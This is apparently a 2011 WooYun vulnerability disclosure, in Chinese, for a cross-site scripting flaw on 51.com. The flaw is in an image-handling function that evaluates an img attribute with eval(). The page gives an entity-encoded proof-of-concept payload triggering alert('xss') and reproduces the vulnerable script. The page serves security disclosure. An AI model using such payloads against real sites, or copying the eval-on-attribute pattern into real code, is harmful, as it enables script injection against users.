当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2011-01867

漏洞标题：51.com跨站漏洞

相关厂商：51.com

漏洞作者： jsbug

提交时间：2011-04-12 05:13

修复时间：2011-04-17 06:00

公开时间：2011-04-17 06:00

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2011-04-12： 细节已通知厂商并且等待厂商处理中
2011-04-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

http://pic.51img1.com/v3/home/scripts/pub_newhome.pack.js?v=20110126.js
图片处理函数setImgsAuto()调用eval出现漏洞.

详细说明：

<img src="http://static.51img1.com/v3/bbs/images/loading.gif" width="42" border="0" summary="{u:'http://hi.baidu.com/jsbug&#39&#125&#41&#59&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#47&#47',w:'auto',h:'auto'}" />
<script language="javascript" type="text/javascript">
var len=document.images.length;
for(var i=0;i<len;i++){
    o=document.images[i];
    if(d=o.getAttribute("summary")){
        da=eval("("+d.replace(/\r/ig,"").replace(/\n/ig,"").replace(/<br \/>/ig,"")+")");
    }
        o=da=null;
}
</script>

漏洞证明：

修复方案：

版权声明：转载请注明来源 jsbug@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2011-04-17 06:00

厂商回复：

漏洞Rank：10 (WooYun评价)

最新状态：

2011-04-18：已收到，多谢jsbug

2011-04-18：已修复，再次感谢jsbug哈。